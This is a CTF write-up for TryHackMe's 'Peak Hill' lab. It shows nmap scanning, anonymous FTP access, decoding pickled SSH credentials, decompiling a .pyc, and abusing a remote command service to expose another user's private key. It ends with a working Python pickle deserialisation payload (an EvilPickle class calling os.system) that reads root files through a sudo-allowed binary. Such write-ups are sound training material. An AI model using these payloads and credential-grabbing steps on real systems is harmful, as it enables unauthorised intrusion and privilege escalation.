Writeup: Try hack me -- Peak hill

Thu 10 September 2020
By by7e

This is a writeup for Peak hill on TryHackMe

The basics

As with all these THM write up, you must make sure that there's the standard thing: Connect to the network's VPN, boot up your computer and sit behind the keyboard. Not necessarily in that order.

But aside of that, there's one extra thing you'll need for this challenge: (at least) basic understanding of Python.

Good? Good.

Okay.

Oh, and a disclaimer: The easy answers are disclosed, but the answers where you need to put some effort into it, are redacted. With that said, I wish you happy hacking!


Tasks

#1 What is the user flag?

This task alone is quite large, so let's split it into sections:

What's running on the server?

Let's break out our trusty friend, nmap, and point it at the machine, wait for a while, and --

$ nmap -sC -sV -oN nmap/initial <ip>
Starting Nmap 7.80 ( https://nmap.org ) at 2020-09-10 21:58 CEST
Note: Host seems down. If it is really up, but blocking our ping probes, try -Pn
Nmap done: 1 IP address (0 hosts up) scanned in 3.03 seconds

That's odd... Machine seems to be down. Either that, or it's firewalling ICMP requests. Let's roll with nmap's suggestion and try again.

$ nmap -sC -sV -oN -Pn nmap/initial <ip>
# nmap scan report for <ip>
Host is up (0.062s latency).
Not shown: 997 filtered ports
PORT   STATE  SERVICE  VERSION
20/tcp closed ftp-data
21/tcp open   ftp      vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-rw-r--r--    1 ftp      ftp            17 May 15 18:37 test.txt
| ftp-syst:
|   STAT:
| FTP server status:
|      Connected to ::ffff:<ip>
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 1
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status
22/tcp open   ssh      OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Aha! Now we're talking. So we have an anonymous FTP and an ssh opened. Nmap only displayed test.txt in that folder, but we should take another peek. Just in case.

$ ftp <ip>
Connected to <ip>.
220 (vsFTPd 3.0.3)
Name (<ip>:by7e): ftp
331 Please specify the password.
Password:

Wait, the FTP is asking about password even though nmap said there's anonymous access enabled. Maybe 'anonymous'?

230 Login successful.
Remote system type is UNIX.

Success! And now we poke around:

ftp> ls -al
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxr-xr-x    2 ftp      ftp          4096 May 15 18:37 .
drwxr-xr-x    2 ftp      ftp          4096 May 15 18:37 ..
-rw-r--r--    1 ftp      ftp          7048 May 15 18:37 .creds
-rw-r--r--    1 ftp      ftp            17 May 15 18:37 test.txt

A hidden file! Okay. Let's download it and examine the contents:

00000000000...1110001000110011000...0000000001000000...00000000000110...10000000000000...

Right. A literal binary file.


Decoding the file content

Let's go over the basic computer stuffs: 1 byte consists of 8 bits, and combining those makes the computer world go around. So, let's slice the content of the file to 8 characters chunks. And since Python is handy, so let's use it for our job:

#!/usr/bin/env python

f = open('.creds').read()
n = 8
letters = [f[i:i+n] for i in range(0, len(f), n)]
out = ""
for letter in letters:
    l = int(letter, 2)
    out +=  chr(l)

print out

With that done, we pipe this to a creds.bin file, and... Now what? What is this file, anyways?

$ xxd -c 8 creds.bin
8003 5d71 0028 580a  ..]q.(X.
0000 0073 7368 5f70  ...ssh_p
6173 7331 3571 0158  ass15q.X
0100 0000 7571 0286  ....uq..
7103 5809 0000 0073  q.X....s
7368 5f75 7365 7231  sh_user1
7104 5801 0000 0068  q.X....h
7105 8671 0658 0a00  q..q.X..
0000 7373 685f 7061  ..ssh_pa
7373 3235 7107 5801  ss25q.X.

Python pickles! The CTF is riddled with pickles! Let's see --

$ python creds-unpickle.py
Traceback (most recent call last):
  File "creds-unpickle.py", line 6, in <module>
    new_dict = pickle.load(infile)
  File "/usr/lib/python2.7/pickle.py", line 1384, in load
    return Unpickler(file).load()
  File "/usr/lib/python2.7/pickle.py", line 864, in load
    dispatch[key](self)
  File "/usr/lib/python2.7/pickle.py", line 892, in load_proto
    raise ValueError, "unsupported pickle protocol: %d" % proto
ValueError: unsupported pickle protocol: 3

Rats. However --

$ python3 creds-unpickle.py
[('ssh_pass15', 'u'), ('ssh_user1', 'h'), ('ssh_pass25', 'r'),

Success! Although, the chunks for username and password are out of order. A simple cleaner / sorter should do the trick:

#!/usr/bin/python3
pwd = []

for i in range(100):
    pwd.append('')

for d in new_dict:
    if 'ssh_pass' in d[0]:
        i = int(d[0].replace('ssh_pass', ''))

        pwd[i] = d[1]

print(''.join(pwd))

And with that, we have the credentials for SSH.

$ ssh g**n@<ip>

$ ls -al
total 16
drwxr-xr-x 3 g**n g**n 4096 Sep 10 21:26 .
drwxr-xr-x 4 root root 4096 May 15 18:38 ..
drwx------ 2 g**n g**n 4096 Sep 10 21:26 .cache
-rw-r--r-- 1 root root 2350 May 15 18:37 cmd_service.pyc

g**n@ubuntu-xenial:~$ sudo -l
[sudo] password for g**n:
Sorry, user g**n may not run sudo on ubuntu-xenial.

Bah, that's a dead end. The standard command find / -perm /4000 doesn't yield anything useful either.

However, this cmd_service.pyc is out of place and may come handy. A quick scp brings the file to our machine.


Now what?

Since we have the file on our machine, we can do whatever we want to do with it. For instance, we can decompile it. And because the file is literally compiled python class, we can restore it to its original form with a little help of uncompyle6.

$ pip3 install uncompyle6
$ uncompyle6 cmd_service.pyc > cmd_service.py

Given we now have the source code, we can see interesting things:

username = long_to_bytes(1..6)
password = long_to_bytes(2..6)
...
def main():
    print('Starting server...')
    port = 7321
    host = '0.0.0.0'
    service = Service
    server = ThreadedService((host, port), service)

And a quick

$ python3
>>> from Crypto.Util.number import long_to_bytes
>>> print(long_to_bytes(1..6)) # username
>>> print(long_to_bytes(2..6)) # password

gives us our credentials. So! We have a server running on port 7321, and we have username and a password. Let's use telnet to log in.

telnet <ip> 7321
Trying <ip>...
Connected to <ip>.
Escape character is '^]'.
Username: [redacted]
Password: [redacted]
Successfully logged in!
Cmd: ls

Nothing. What gives?

while True:
    command = self.receive(b'Cmd: ')
    p = subprocess.Popen(command,
      shell=True, stdout=(subprocess.PIPE), stderr=(subprocess.PIPE))

Oh, duh. Wait... Where's the flag? it's not in our home folder... Is there someone else on the box?

$ ls /home
g**n dill

And who is the script running as anyways?

$ ps aux | grep service
dill   1098  22:14   0:00 /usr/bin/python3 /var/cmd/.cmd_service.py
root   1146  22:14   0:00 /usr/lib/accountsservice/accounts-daemon

Maybe...

$ cd /home/dill
$ ls -al
drwxr-xr-x 2 dill dill 4096 May 15 18:38 .ssh
-r--r----- 1 dill dill   33 May 15 18:38 user.txt

Nice! We can change permissions of the flag with

Cmd: chmod 777 /home/dill/user.txt

through the server command script. And while we are at it, let's make another change as well:

Cmd: chmod 777 /home/dill/.ssh/id_rsa

And a quick

cat /home/dill/user.txt

reveals our first flag, which is, of course

[redacted]

Whew!



#2 What is the root flag?

With one flag under our belt, let's go after the second one: Root flag! Privesc! But... how?

First things first: Since we now have permission to that ssh private key, grab that one first and attempt to log in as the other user.

$ scp g**n@<ip>:/home/dill/.ssh/id_rsa ssh/id_rsa

Do keep in mind that SSH will quite likely complain about the premissions of the private key. So, let's fix those on our machine first:

$ chmod 500 ssh/id_rsa

And on the remote machine:

Cmd: chmod 500 /home/dill/.ssh/id_rsa

And attempt to log in:

$ ssh dill@<ip> -i ssh/id_rsa

Success! Although, as established before, there's not much in the standard dirs. See?

$ find / -perm /4000 2>/dev/null
/usr/lib/policykit-1/polkit-agent-helper-1
...
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
...
/bin/ping6
/bin/ping

But since we're a different user now --

dill@ubuntu-xenial:~$ sudo -l

User dill may run the following commands on ubuntu-xenial:
    (ALL : ALL) NOPASSWD: /opt/peak_hill_farm/peak_hill_farm

Hello! And now we find a way to --

$ sudo /opt/peak_hill_farm/peak_hill_farm
Peak Hill Farm 1.0 - Grow something on the Peak Hill Farm!

to grow:

... What? What does this do?

$ sudo /opt/peak_hill_farm/peak_hill_farm
Peak Hill Farm 1.0 - Grow something on the Peak Hill Farm!

to grow: gsdfgsdfgsdfgsdfgsdfg
failed to decode base64

Base64, huh? Let's try to make it do things!

Peak Hill Farm 1.0 - Grow something on the Peak Hill Farm!

to grow: SasdasdaSDasdASd==
Traceback (most recent call last):
  File "peak_hill_farm.py", line 18, in <module>
ValueError: could not convert string to int
[1837] Failed to execute script peak_hill_farm

It's a Python application? ... ... ... Oh! Binaries! Pickles! It's trying to decode pickles! Let's see if that's true! And since we already dealt with Python3 pickles on this box, we assume we're dealing with them this time around as well:

$ python3
>>> import pickle
>>> import base64
>>> a = "this works?"
>>> base64.b64encode(pickle.dumps(a))
b'gASVDwAAAAAAAACMC3RoaXMgd29ya3M/lC4='

dill@ubuntu-xenial:~$ sudo /opt/peak_hill_farm/peak_hill_farm
Peak Hill Farm 1.0 - Grow something on the Peak Hill Farm!

to grow: gASVDwAAAAAAAACMC3RoaXMgd29ya3M/lC4=
This grew to:
this works?

Yes! (Unintentionally, I just answered my own question.)

Let's break it! And with root permissions, we'll have that flag in no time!

There's is a pretty detailed information about how to exploit Python's pickle here https://davidhamann.de/2020/04/05/exploiting-python-pickle/ and here https://dan.lousqui.fr/explaining-and-exploiting-deserialization-vulnerability-with-python-en.html.

So we want to create a malicious code and encode it in base64.

#!/usr/bin/env python3
import pickle
import os
import base64

class EvilPickle(object):
    def __reduce__(self):
        return (os.system, ('ls /root/', ))
pickle_data = pickle.dumps(EvilPickle())

print(base64.b64encode(pickle_data))

Drop the base64 string into the peak hill farm, and —

to grow: gANjcG9zaXgKc3lzdGVtCnEAWAkAAABscyAvcm9vdC9xAYVxAlJxAy4=
�root.txt�
This grew to:
0

Huh? What's with the weird squares around the filename? Eh, it doesn't matter. We can modify the request a little bit, and

class EvilPickle(object):
    def __reduce__(self):
        return (os.system, ('cat /root/*', ))
pickle_data = pickle.dumps(EvilPickle())
to grow: gANjcG9zaXgKc3lzdGVtCnEAWAsAAABjYXQgL3Jvb3QvKnEBhXECUnEDLg==
[redacted]
This grew to:
0

Boom, done! We have the flag!

Alternatives

You can also use this method to deploy a reverse shell, but, eh. I didn't feel like it's necessary for this CTF.


-- by7e

Pages